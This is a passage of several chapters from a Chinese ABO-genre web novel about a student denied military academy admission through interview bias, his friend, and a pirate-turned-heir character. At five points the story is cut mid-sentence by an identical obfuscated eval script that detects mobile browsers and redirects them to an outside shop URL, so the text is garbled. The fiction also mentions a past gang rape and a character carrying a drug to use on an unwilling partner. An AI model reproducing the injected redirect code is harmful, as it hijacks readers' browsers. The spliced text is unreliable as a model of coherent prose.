“你凭什么觉得我要答应?”他语气依然不虞。 “来之前这条路上至少有四波人在盯着你们,没有我,这艘船已经被抢完了。”海盗王平淡的回答。 “现在难道有什么不同吗?”裴寄昭抬了抬下颌,示意地上的尸体。 “这是私仇。”海盗王从靴筒里拔出匕首,点了点挂在桅杆上的大副尸体,“飞鲨队编制内的三十六个人,去年就在这里劫掠了两艘渔船,船上有两个Omega和一个女性Beta,全被他们扣留过了夜。” 裴寄昭的瞳孔骤然收缩。 他当然知道这意味着什么,一些经年养在海上的丘八Alpha,没有战争的侵扰,没有中央的管辖,浑身上下都是泄不掉的兽性,从自由散漫到为所欲为,那三个被抓上大船的渔民经历了什么,用手指头想也能想得明白。 三十六个雄性Alpha轮流......裴寄昭有些毛骨悚然。 打也打不过,求助更是无门,回到家中除了忍下这一口气,在往后无数个噩梦惊醒的深夜哭泣发抖以外,这些渔民似乎也做不得什么。 “你可以选择不信。”海盗王说:“但我无所谓你信不信。” 裴寄昭觑着他,品着他言辞中的傲慢。 年轻的海盗王这张脸骨相极好,微微侧着时有极为陡峭错落的阴影面,下颌线锋利如刀。 这些渔民跟他关系很好么? 还有这三十六个加害者,时隔一年,恐怕死也想不到还会迎来这一场酣畅淋漓的清算吧。 这个人......还真是记仇呢。 裴寄昭最终在合同上签下了自己的名字。 三十六具尸体被抛入大海,货船最终由十余名海盗护送抵达目的地,临走前他们甚至十分贴心的将甲板上的血迹都擦洗干净,训练有素的像家养的丁口。 “你叫什么名字?”裴寄昭问海盗王。 “没名字。”对方说。 裴寄昭哼了一声。 他想对方大概也没有详细了解自己的来头,否则不会是这个态度。 他众星捧月小半生,在商界也算是呼风唤雨,第一次被激起了好胜心,遂回去后四处打听对方的来历。 花了半年,千万佣金砸下去,方得知对方的外号叫“石头鬼”,人如其名,神出鬼没,融入人群就了无痕迹。 裴寄昭不服,锲而不舍,又是半年过去,他连钱都懒得赚了,就一门心思的要征服这道难题,后功夫不负有心人,他终于问到了对方的名字。 贺栩。 长得漂亮,身材又好,脑子体力都是一流,性格还这么劲儿劲儿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359060|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,梦中情A,绝对的梦中情A! 裴寄昭找上门去的时候可谓是万事俱备全面采购,烛光红酒情趣道具,一板无色无味的猛药生怕对方不从,他什么都预料了,连跟对方的孩子姓啥叫啥都想好了,却唯独没有想到—— “我不理解。”裴寄昭看着贺栩,大浪淘尽千帆过后,再看这张脸他只剩下嫌弃了。 “可以理解。”贺栩慢吞吞的说:“老天爷是公平的,不会让一个人十全十美。” 裴寄昭:“......” 人,甚至不能共情过去的自己。 裴寄昭也不是一回两回希望时光回溯去戳瞎当初的自己了,他修长的五指在桌上轮流敲打片刻,品出些端倪,“那你现在这是?” “以防万一。”贺栩说。 “防什么万一?”裴寄昭说。 “虽说我这个人不太容易兴奋,但到底还是有个Alpha腺体在的。”贺栩指了指后脖颈,“很难说这个器官究竟是死是活,会不会哪天发神经就释放点什么东西出来。” “也是。”裴寄昭大声嘲笑,“豆芽菜也是菜嘛。” 贺栩:“......” 总算是掰回来一局,当年所受的憋屈在此刻悉数宣泄,裴寄昭爽翻了天了,也没再找茬,喊助理去安排事项。 贺栩耷拉着眉眼,满脸写着无语,他又在椅子上没骨头似的瘫了一会儿,慢悠悠道:“我最近还遇到个人。” “敢情你之前遇到的都不是人?是什么?行走的北极贝啊?”裴寄昭说。 贺栩:“唔......是我新同事的暗恋对象。” 裴寄昭:“?” 裴寄昭:“你人际关系处这么复杂呢?” “其实跟我是没什么关系。”贺栩两手交叠枕在脑后,举目盯着天花板,“但这小子......挺有意思。” 他将与曲青然的前后收尾大致与裴寄昭说了一遍。 说完后裴寄昭兴致缺缺,表示自己听困了。 “你无不无聊,这种事情尊重祝福就好了,还真去给人出上主意了。”裴老板懒声吐槽:“根据我的观察,世界上大部分人在对外诉苦时只是单纯的想要一个情绪价值,而非解决方案,其实要怎么做他们心里早就想定了,盲目出主意只会讨人嫌。” “我也觉得。”贺栩喃喃自语道:“忍辱负重本身就是一件困难的事情,他不过是个普通人,做不到的。” “那你还凑上去贴人家冷屁股?”裴寄昭古怪的看着他,“以前也没见你这么积极热忱啊Captain贺。” “我吃饱了撑的吧。”贺栩耸耸肩,合上双眸,“酒劲上来了,睡会儿,晚安。” 15.第 15 章 葛家巷并不深。 但这条几十米的路曲青然却仿佛走了半个世纪,步履异常沉重。 跟贺栩话不投机半句多也不是一两回了,幸而贺栩不是个计较的人,还是如约将他送到了目的地。 但此刻他的处境便如他所处的位置一般,前进也不是,后退也没人接着,堪称进退维谷。 曲青然低头磨蹭着脚尖。 “哟吼,瞧瞧这是谁啊!这不是我们的大状元郎吗!”前面传来一阵响亮的嘲笑。 曲青然头皮发紧,他拧着眉毛抬眸,果真看见葛家辉那张笑容铺张的肥脸,就差把幸灾乐祸刻在额头上了。 “你怎么才回家啊!”葛家辉大声说:“家里垃圾都没人扔了!” 在外头一天一夜未归,老葛家连个电话都没打来,也是,曲青然有点阴暗的想,在那年爸妈的赔款到账之后,老葛一家最大的愿望应该就从一夜暴富变成他这个未成年的保险受益人在成年之前哪天外出失踪一去不回头了。 看葛家辉这滋润的表情也能大概猜到这几天他过得明明舒心自在,唯一的不足可能就是家里的杂事没人使唤做了,曲青然翻了个白眼,一声不吭的往前走,只当自己是个聋子。 谁料葛家辉却有使不完的力气,居然活儿也不干了,提着垃圾追着他原路返回,狂拍电梯按钮,十分癫狂的嚷嚷,“妈!!曲青然回来了!” 电梯还没到楼层就能听见葛银芳尖利的冷笑,“哟呵?他还知道回来?” 门一开,曲青然就看见葛银芳穿着围裙杵在过道里,手里的锅铲高举,幻视恶魔的手叉,“我还以为状元郎在外面大摆谢师宴,没个三天三夜回不来呢!” “什么谢师宴啊?”屋里传来舅舅吴大勇略显慌张的叫声,“现在物价上涨,随便摆一桌那个标准都不得了内!!千把块钱都吃不到几个菜!!青然啊!!咱们还是要脚踏实地一点,整两盘花生米吃一下得了,传统陋习要不得!!” “爸!你还真当他有这个能耐啊!”葛家辉撞了一下曲青然,大摇大摆的进屋,鞋子甩的到处都是,“我朋友圈里的学霸早都晒成绩单了,哪有像他这样藏着掖着鬼鬼祟祟的,多半是落榜喽——” “落榜?嗐!落榜正常,咱家就这个基因!”吴大勇明显松了口气:“青然啊,看开点,少做点白日梦,人最重要的还是脚踏实地——” “你懂什么,人家可不这么想呢。”葛银芳阴阳怪气道:“人家觉得自己能一飞冲天,甩你们老吴家一大截呢。” 葛家辉一个没憋住,笑的嗓音都劈了,客厅里充斥着略显恶毒的快活氛围。 曲青然烦躁的厉害,脱鞋进屋,又听葛银芳道:“你出门回来连个屁都不放,我可没留你的饭啊!自己解决。” “知道了。”曲青然低声说。 他进屋关上门,努力让自己不去听外头的大声蛐蛐,手机震了震,他低头,看见“招生办许主任”来电几个大字。 “喂?曲青然是吗?”许文奇的声音在那头响起,音量不太高,还有些倦怠:“我......帮你问到情况了。” 曲青然的指骨缓缓绷紧。 “笔试成绩没有问题,就笔试分数而言......很高,非常高。”许文奇说:“你很快就能查到笔试分数。” “那是体测不过关吗?”曲青然问。 “不,不是体侧,是......面试出了问题。”许文奇说。 曲青然双眸睁大。 “他们说你是Beta,没有亲身体验过信息素带来的影响,很难贯彻理解信息素对A和O产生的意义......”许文奇艰难道。 “但是面试时提出来的这类问题我都回答了。”曲青然说:“性腺轴的构造,信息素作用的机制,还有相关法律条例,我知道会带来什么影响!” “知道归知道,但不够下意识......我当然知道面试回答问题组织语言都需要时间......但他们就说纸上谈兵和实践操作是两码事,军队里的Alpha偏多,遇到的紧急情况更多,不可能给你那么多时间去反应所以——”许文奇说着说着慌张找补:“当然这话不是我说的,是我咨询的上头!面试官名单不是我们招生办定的!” 曲青然握着手机,闭上眼,脊背贴着冰冷的墙壁缓缓滑下去。 过了不知多久,他慢慢道:“您费心了。” “也,也没有。”许文奇尴尬的不能自已,“实在是......” 他也被偌大的无可奈何压倒了。 不得不承认,在复核完成绩单时,他就为这份过于完美的答卷所折服,这可能是明都统考建立以来阅到的最高的分数,最完美的卷面。 可越是折服就越是对事情的发展感到唏嘘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362613|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“曲青然。”许文奇说:“现在不是消沉的时候,你填报志愿的窗口期只剩不到一天了,要抓紧想对策啊!” “什么对策?”曲青然魂不守舍道:“还有什么对策可想?” “我帮你申请,延长二十四小时的窗口时间。”许文奇焦灼道:“你赶紧跟家里人商量第二志愿怎么填报。” 他吸了口气,郑重道:“根据我的经验,虽然你的面试分数被砍了,但是胜在笔试分数够高,体测成绩也很优异,不报首军大,其他综合性高校的重点专业可选择的还有很多,我待会儿发一张表格给你,是近三年各学校各专业的就业率和薪资水平,你参考着好好的再选一次!”顿了顿,他又道:“曲青然,很多事情......胳膊拗不过大腿,不要钻进牛角尖里去,人生还是有很多路可以走的。” “谢谢许主任。”曲青然说。 “你别哭啊!人生还有很长的!千万别想不开听到没啊!”许文奇说。 曲青然微弱的“嗯”了一声,挂断电话。 他拼尽所有的力气将身体缩紧,将骨骼和皮肤里的每一寸空气都挤出来,在门与墙壁的夹角里蜷成一团,仿佛只有这样才能让他感觉到安全。 不知怎么的,他好像对许文奇的答复早有预料,并不感到意外。 头顶那双无形的大手被证明了其存在,五指山一样,终究是压了下来。 悬着的心终于死了。 他不是神话故事里无所不能的石猴子,他只是个普通的蝼蚁,那连石猴子都做不到的事情,他更加做不到,也诚如许文奇所说——胳膊拗不过大腿。 可为什么会这样呢? 为什么偏偏是升学这样大的事? 为什么偏偏是他? 世界上明明有那么多的倒霉鬼! 没有钱,没有家人,没有机遇......他往后还有什么指望呢? 喉咙处又肿又痛,呼吸不畅,他咬牙哽咽着,却仍旧控制不住眼泪泉涌,顺着脸颊滚落,打湿了虎口,剧烈的痛苦和不甘像一把钝头的磨骨刀,在他的身体里锉来锉去。 “叮咚” 手机震动,屏幕上跃然一行金色小字: “您有一张满二十减十九的外卖券到账,快快来使用吧!” 曲青然:“?” 他盯着这行推送广告看了许久,猛地爬了起来! 16.第 16 章 满二十减十九!这特么跟白送有什么区别! 没有任何人!任何一个人!在面对这样美味的大额红包时能保持无动于衷! 没有这样的义务! 事已至此,先吃饭吧! 曲青然囫囵擦干眼泪,收了个背包溜出门去。 麦佬当餐厅,那是他之前被葛家辉吵得无心学习时经常奔赴的根据地,靠门的位置坐着一个跟他年纪差不多大的男生,脚踩AJ身穿潮牌,脸是帅的衣品也很洋,唯独体型宽厚下颌线模糊,很有那点子那个地主家傻儿子的气质,此刻正横着手机在峡谷驰骋。 “来啦!”骆一白头也不抬的说:“请我喝啥?” “点。”曲青然把手机往他面前一推。 骆一白瞄了眼他的点单界面,“我不喝这家全是植脂末——” 下一秒他就被曲青然锋利的眼神锁定外加贯穿。 骆一白手一抖,被对面丝血反杀,他痛不欲生的“嗷嗷”了两嗓子,手机一丢索性开始挂机。 “请你喝奶茶不是看你爱喝什么!而是看我请得起什么!”曲青然杀气腾腾道。 “行行行,反正我营养过剩喝啥都无所谓。”骆一白捧着他的手机认真点单,“兄弟见面,情义无价!” 骆一白点完单查看购物车,震惊于曲青然点了杯最基础的奶茶然后把免费小料都加了一份,敏锐觉察要素,“你没吃晚饭啊?” 曲青然愤愤不平,“谁要吃葛家的剩饭剩菜!” “你开智了!”骆一白震撼加倍道:“我们以前说你的时候你不以为耻反以为荣呢!” 曲青然:“去去去!” 骆一白摩拳擦掌的卷袖子:“那我索性把夜宵也点了,今儿晚上你不回去了对吧。” “嗯。”曲青然说。 “上回相聚匆匆,根本没尽兴,今天咱哥俩可得好好搓一顿,先来份烧烤,再来盆冒菜,海鲜你吃不吃?我单点生蚝他不送。”骆一白说。 “你看着点吧。”曲青然说:“少点点儿,看看你那肚子。” 骆一白以前的颜值能打程度不逊于曲青然,但近两年迫于学习压力涨了六十来斤,酷哥气质不再,连网恋对象也弃他而去,但他一点也不伤心,表示这一路的鲜香麻辣只有自己知道,落子无悔。 曲青然表示不理解但尊重。 点完餐骆一白才感觉人生大事落定,看向曲青然道:“你考试办那边问的怎么样了?” “不提了。”曲青然垂头丧气的与他复盘了全过程。 骆一白一巴掌差点把桌子掀翻,咆哮道:“靠!这他妈不纯性别歧视吗!” “嘘嘘嘘,你小声点儿。”曲青然费老大劲按住他,冲周围侧目的路人连连赔笑,“你以为我不知道吗?” “不是,什么时代了啊!他们怎么敢的啊?你录音了没?把录音放网上去,舆论不喷死他们考试办算我输!”骆一白怒道。 “算了算了。”曲青然叹气道:“人家考试办也不容易......好歹是帮我问出个结果来了。” “兄弟你可不能这么包子,要维权啊!要反抗啊!”骆一白义愤填膺。 “这不是维权的事儿......”曲青然愁眉苦脸道:“你看,考试办也是下属机构对吧,就像你爸爸开公司他是董事长,手底下肯定还有好多好多部门是听他指挥的,如果你爸爸下命令不许他们做什么事,他们肯定也不敢做。” “那他们总归是一家的吧!一丘之貉!狼狈为奸!”骆一白大骂。 “我之前也这么想,但后来......”曲青然手托下巴,目光低垂,“感觉并不是这么回事。” 他将桌上的两个手机并排放到一起,翻掌盖上去。 “我不知道怎么跟你形容,就好像头顶上有座大山,很大很大,绵延千里,四面八方我都看不到尽头,我甚至看不到这座山在哪儿,但这座山说压就能压死我,还有考试办的许主任,我们两个都逃不掉。” 他猛地按下掌心,拍在手机上,“如果我按照你说的把录音放到网上去,大概率许主任会被推出来背锅吧,然后......他们还能找到别的理由搪塞我,届时可能连个帮我问结果的人都没有。” “虽然不太能理解,但是感觉好无力是怎么回事啊!”骆一白暴躁挠头。 “是。”曲青然不置可否说:“甚至我一开始都做好了等不到结果的准备,就这么不明不白的......落榜了。” 十年同桌,骆一白对曲青然的行事作风之了解不亚于他已故的爹妈,虽然日常生活看起来迷迷瞪瞪的,但在大事上他这个死党从不含糊,自有一套刨根究底的路子,直觉和思考程度都远超常人,曲青然轻易不下结论,但只要是他曲青然给出的答案,一定是精准的,经过事实验证的,鲜有偏差,没有质疑的必要。 骆一白想了想,问道:“那你打算怎么办?” “他们让我找家里人商量一下填第二志愿。”曲青然说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369966|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这不就来找你了。” 骆一白顿时感觉哈特痛痛,伸手去够曲青然的肩膀,眼泪几欲夺眶而出:“铁子你别这样......感觉很可怜啊!” “我本来就很可怜!什么叫感觉!”曲青然说。 骆一白眼泪一秒收回去了。 “谁都不服就服你这张嘴。”他说。 曲青然仰靠在椅背上断断续续的发笑。 他就是这样,在重大变故面前能迅速调整姿态,让自己免于长时间的沉沦,忍常人所不能忍,骆一白经常觉得曲青然的这项本事实在是牛逼,犹如游戏主控角色的暴血技能,总能帮助主控苟活下去渡过难关。 “我想过了,现在我只有两个选择。”曲青然说:“第一,换个学校报名。” 他把手机点开,许文奇很守信用,已经将最新的就业情况调查以PDF的形式发了过来,上面详细记载了每个大学每个专业的排名,三年就业率和薪资水平,以及就业前景评估。 “我靠,这是什么好东西。”骆一白伸长了脖子看,诧异道:“这内部资料吧!” “大概吧。”曲青然说。 “你笔试是满分,体测也是优秀,选这些学校一点儿限制都没有。”骆一白划拉了几下屏幕,指道:“哎,你选明都医科大的辅助生殖专业吧,我爸说生孩子是人类永远的课题,很有前景的,而且搞这个大部分时间都在实验室,不用跑人际关系。”他越想越觉得不错,用手指敲桌角,“最最最重要的是,薪资水平在每年课题旺季比首军大的平均津贴还要高呢!” 曲青然目光微动。 “其实首军大那群人出来也就是说出去名声好听,吃官粮,以后好晋升好混人脉。”骆一白说:“但人嘛,过日子最终也就是个柴米油盐,要那些面子工程有啥用?真金白银拿到手才是实实在在的。”他语重心长道:“你想想看啊青崽,虽然你这次被人摆了一道,但是以你的实力,以后好好工作,好好搞科研,赚了钱买豪车住豪宅,气死那群托关系的丘八——” “话虽如此。”曲青然望着手机屏幕,半瘫着,“可终归是意难平啊......” 骆一白怔了怔,坐回去摇头道:“我要是你爸妈,不会希望你因为过去的一点心结活的那么累,把人生都搭上去。” “心结......”曲青然喃喃自语,“这算心结吗?” 他搁在桌上的指尖稍稍蜷缩。 “骆一白,你觉得我当护士怎么样?” 17.第 17 章 “护士?” 骆一白讷讷的重复了一下这两个字。 他看了一眼死党这张脸。 女娲毕设,进退得宜,可盐可甜。 但凡情商高一点儿,现在已经傍上富婆富公走上人生巅峰了。 能靠颜值,偏要靠实力,甚至要靠猎奇...... 骆一白眼睑上翻,眼眸眯起,随后两边唇角开始上扬。 曲青然恶寒道:“......你现在的表情很猥琐你知道吗?” 骆一白没反应,但眼看着就要“嘿嘿嘿”起来,曲青然忍无可忍,在桌子下面狠踹了他一脚。 “哎哟!”骆一白像是灵魂归位了一样,连连赔笑道:“报意思报意思。我长这么大身体倍儿棒,除了割□□就没去过医院,对护士的印象比较刻板——” “你那何止是刻板!”曲青然伸手拼命戳他,“别以为我不知道你在想什么!你特么那就不是护士不是护士,叫制服诱惑——” “那不怪我啊!艺术作品都那么拍,说明艺术来源于生活!!”青春正旺阅片无数的准男大骆一白吱哇乱叫,振振有词,“人家小护士就是美美的柔柔的白白的嫩嫩的,不是女生就是Omega,你去当护士——哇塞!光用想的就很酸爽啊!你连裙子都没穿过吧——!” “搞得好像你穿过裙子一样!”曲青然大怒:“而且谁告诉你护士工作服是裙子的!” “好好好是我没见过世面。”骆一白抱头讨饶:“不是......你怎么想的啊!为什么好好地想不开要去当护士!” “首军大的护理专业......还是不错的好吧!我先进去蹲着,干两年,伺机而动,万一以后有机会能转专业!”曲青然耳根犹红,拧着眉头跌回椅子上,觑着手机屏幕,“前两年无非就是待遇差一点儿......工作环境可能没那么舒坦一点儿,说出去名声没那么好听一点儿——” “老弟啊,那何止是一点!”骆一白现场点开小绿书,输入关键词“首军大,护理”,回车。 “听劝,如果读护理是吃屎,那么在首军大读护理就是逼着你屎上雕花!然后吃掉!” “家人们,发工资了[图片],男朋友问我这是哪个APP的验证码[疲倦][疲倦]。” “没招了,恨谁就骗他去报首军大的护理学院吧,三班倒的我快死了,这日子仇人看到都释怀了。” “同样是军队编制,凭什么人家军医是坐办公室的白领,我们却是洗!脚!婢!” “人家医务部部长是跟将军一起拿过奖章的,你们护理部有啥?还敢跟人家领导相提并论?掰两个安瓿瓶子冷静冷静吧!” “楼上真相了,不仅不平等还经常要背锅呢,刚听说**因为给军医担责任被送进去坐牢了。” “楼上的评论怎么回复不了啊?哎?怎么没了?炸号了???” “铁子,我现在过节回家都不说自己的专业,就说自己是干家政的,催婚都轮不着我了。” ...... “真不是我给你泼冷水。”骆一白说:“你看看这风评,再看看护理学院近五年的分数线,把你的分儿腰斩了都还多个零头呢,那不是没有原因的!” “何故啊何故。”曲青然震撼道。 “我瞧这评论估计也跟院系派别之间的斗争有关。”骆一白说:“首军大跟普通高校还是不一样的,你要为那个军队编制真就算了!得不偿失。” “连你都笑成这样了,要让葛家辉知道不定笑成啥了。”曲青然木着脸说:“笑厥过去都有可能啊!” “就是说啊!他们一家要是知道你天之骄子曲青然自将逼格去给人当保姆,未来三十年的笑料都攒够了!”骆一白说:“你千万不要意气用事!” “......保姆,也太夸张了。”曲青然嗫嚅说:“护理也是治病救人吧......” “我很好奇谁给你出的这馊主意?”骆一白道。 曲青然想了想,“你不认识。” “谁啊,你怎么知道我不认识?”骆一白说。 “贺栩。”曲青然说:“你认识?” 骆一白:“贺栩???” 骆一白:“嘶——” 曲青然困惑了,“还真认识啊?” “不是我认识,是这人吧最近在圈子里有点太出名了。”骆一白摸着下巴说。 骆一白爸妈合伙开互联网公司,近几年完成了最后一轮融资准备上市,骆家在明都的地位节节攀升,骆一白这富家少爷的名头也算坐实了,上层圈子里的消息总能听一嘴。 “怎么个出名法?”曲青然奇道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376568|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “东海集团贺氏你知道吧?”骆一白说。 曲青然:“知道啊,帝国炼钢三巨头嘛,每年的征兵广告右下角都是它家logo。” “对,因为军备武器原材料一半都是他们家承包产出的。”骆一白说。 曲青然:“喔,豪门。” “何止。”骆一白说:“当年参加过萨耶叙抢滩的一等功老贺将军是他家CEO的老爸。” 曲青然有点盘不明白这关系了,“萨耶叙抢滩是——” “就是初中历史书上最喜欢考的那个,帝国建国三十年霍利黑德海军发动夜袭,试图从萨耶叙群岛登陆拿下沿海一条线,被我们的驻军发现给击退了。”骆一白说:“也就是从那个时候帝国开始特别重视军政国防。” “不是说活着的一等功很少见么?”曲青然道。 “是啊,当时老贺将军为了掩护本地的州长撤退被炸断了两条腿,现在下半身还有半个心脏都是义体。”骆一白说:“也就是因为这个,他在国防部那边格外有话语权,贺家这产业嘛也算半个皇商了。” “这跟贺栩有什么关系?”曲青然道。 “贺家老总贺潮生摆在户口本上的儿子只有一个,叫贺凡。”骆一白说:“这个贺栩嘛,好像是他十几年前在外头留下的种,那时候还没跟现在的夫人结婚呢。” “私生子啊。”曲青然诧异说:“庶长子!” “你这么形容也对。”骆一白说。 “哇塞,回来参加世子之争啊!”曲青然说:“但会不会有点太晚了?” “是有点儿晚,听说贺潮生跟他夫人关系可好了,贺凡在我们财大念珠宝鉴赏,也是顺顺当当,这个时候回来......没什么切入点啊!”骆一白说:“但话又说回来,贺老爷子要真给他撑腰的话,什么时候都不算晚,听说他首军大的学籍就是贺老爷子用自己年轻时候的功勋换来的!” 他用手指点了点桌角,压低声音,“阿青,那可是你悬梁刺股这么多年都没能得到的东西。” 曲青然微有恍然道:“难怪他今天会出现在那儿......” “咱就是说,这种不劳而获的二世祖,给你提的建议有任何采纳的必要吗?”骆一白撇嘴说:“你要真信了他的话报了首军大的护理专业,后半辈子,危!” 18.第 18 章 曲青然垂眸望着桌面久久不语,直到“叮咚”一声,麦佬当的门被人推开,有人敞亮道:“谁点的外卖,奶茶烧烤冒菜还有海鲜——” “我们的我们的,都是我们的!”骆一白振臂高呼。 曲青然只觉得这声音有点耳熟,直到七八个锡纸保温袋都怼到眼前,他猛一抬头,对上那张熟悉的脸。 “哎??是你啊!!” “哎??真巧啊!!!”那外卖员乐了,将帽檐一抬,“小帅哥又见面了!” “青崽你海王啊,到哪儿都是熟人。”骆一白一边拆外卖一边锐评。 “屁嘞。”曲青然说:“大哥跟我是有一面之缘。” “就今天白天!几个小时之前刚见过,很巧吧!”外卖员乐呵道。 “你也太拼了,一口气送这么多单,不累吗?”曲青然望着他掌心里被外卖袋子勒出来的红痕,都有些共情了。 “不累不累,跑一趟赚四份钱,我开心还来不及呢!”大哥搓了搓手,满脸餍足。 “我还以为你出了白天那档子事情晚上好歹回去休息休息呢!”曲青然啼笑皆非:“大哥,跑外卖有风险,没考虑干点别的吗?” “别的我不爱干!就喜欢跑来跑去!”大哥拍了拍胸脯说:“人家饿了老半天吃上我送的外卖,脸上那表情!让我瞧见心里特有成就感,我家里人都说我天生就是为了送外卖而生的!真要让我坐办公室里头写字敲键盘,干三天我就得嘎巴一下死里头!” “哇塞,外卖主理人啊!牛逼!”骆一白比手指。 “我给你看,我这个月已经是我们骑手榜单上的十佳骑士了!”大哥兴奋的划开手机,给曲青然看他的勋章,“等我冲到TOP1,平台会给我发一个实体的大奖牌!还有奖励金呢!想想就有冲劲儿!人干自己向往的事情怎么会觉得累呢!受多少挫折也得坚持下去啊!” “人干自己向往的事情......”曲青然一怔,喃喃重复。 “好了不跟你说了,我又抢到一单大的!我冲了!回见啊!”大哥热火朝天的挥手道别,一眨眼就没影儿了。 曲青然站在那儿,目送他离去,又过了好久,他用力合了一下眼睛,坐回凳子上。 这顿饭很丰盛,吃到最后曲青然直接晕碳了,粥一样的奶茶还剩一个底儿,实在是喝不下去,曲青然舍不得扔就握在手里盘,他跟骆一白道别后,索性方向一拐改道去横江广场,沿着江畔的步行道慢慢的走,消食散心。 江风带着未散的暑热,夜间的江水一片漆黑,如浩瀚无垠的宇宙,只有江对岸星星点点的灯火依稀可见,闪烁不定。 曲青然扶着栏杆眺望远处,眼前像是展开了巨大的曲面投影仪,无数画面纷沓而至,依稀又看见了那个战壕。 从底部向上看,好似一个坟墓,土里有许多微生物在钻动,可能是虫子,可能是菌类。 死亡已久的碳基生物身上会自然而然的长出这些东西,在血肉化为泥土的过程中,散发出恶心的味道。 远处的轰鸣声撼动大地,每一下都仿佛要将地壳撕裂,他的脸贴着粗粝肮脏的地面,耳鸣不断,听见向导在绝望喋喋不休着: “早知道不来了,早知道开战了就不来了啊......” 是啊,这个地方处处都是危机,枪林弹雨中那些钢铁的车辆与建筑会顷刻间四分五裂,人更是须臾化为齑粉,生命体在兵器面前渺小如沧海一粟,他们的车开不出去,外面的人也进不来...... 生命在此地无声的流逝,就像那些误入沙漠的水滴,眨眼间就蒸发的无影无踪。 聒噪的向导渐渐不说话了,万籁俱寂,父亲和母亲护在他头顶的手臂变得僵硬冰冷,跟那些石头没什么两样,他觉得自己要不能呼吸了,沉甸甸的压迫原来是死亡降临的质感。 又不知过了多久,有人跳下来,带着土堆松动的尘灰,将他从尸体堆里拖拽出去。 这个过程很艰难,他感觉自己像一袋水泥,在拖拽的过程中体会不到任何骨骼和血肉结构的存在,他的手臂被拉的好长好长,如同一根面条,肩膀处的关节拧成异样的弧度。 但他感觉不到痛,视野里也看不到这些让人头皮发麻的体征,瞳孔里倒映着的只有那个跳下来的人。 那人穿着一袭军装。 尘土和血色包裹着他,让他臂弯上的红十字的袖章几乎看不出了,但还是足以将他与那些士兵相区别开。 他身上没有枪支弹药,只有一个四四方方的医疗箱。 而后他背着自己绕过凹凸不平的土坑,越过横七竖八的残肢,穿过满目疮痍的战场,像一只充满力量的豹子。 曲青然有些糊涂的想,此地连车子都能炸成莲花瓣,这个人是怎么进来的呢?又是怎么出去的呢? 哪里来的这份勇气呢? 再到后来,他听帐篷里的人聊天,知道了那个人的称谓。 军医。 普通的医生进不来这片人间炼狱,只有他能进。 普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381781|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通的医生不敢接下这份重则,只有他敢接。 可这个“他”的数量太少了。 如果多一倍,两倍,三倍......不止他能得救,他的父亲,母亲,车上的向导伯伯,还有其他的那些同车的人......结局都会不一样吧? 是不是都能像自己一样在以为要死的时候被拖出去,继而获救呢? ...... 曲青然慢慢的卷起袖子。 他的手臂修长,肤色白皙,薄薄的肌肉贴着骨骼,淡淡的青色经络交错,充满力量。 但他翻过手臂,手肘后方有一条褐色的疤痕,突出于皮肤,扭曲虬扎似蜈蚣,几乎横断了他的上下臂膀。 ——是当时被大巴车体内的铁片切割进去造成的,因为受伤的时间过长,没有及时清创导致伤口感染化脓,很长一段时间无法愈合,才留下了永远的伤疤。 为什么这么少呢? 他又一次问自己,为什么......不多一点这样的人呢? 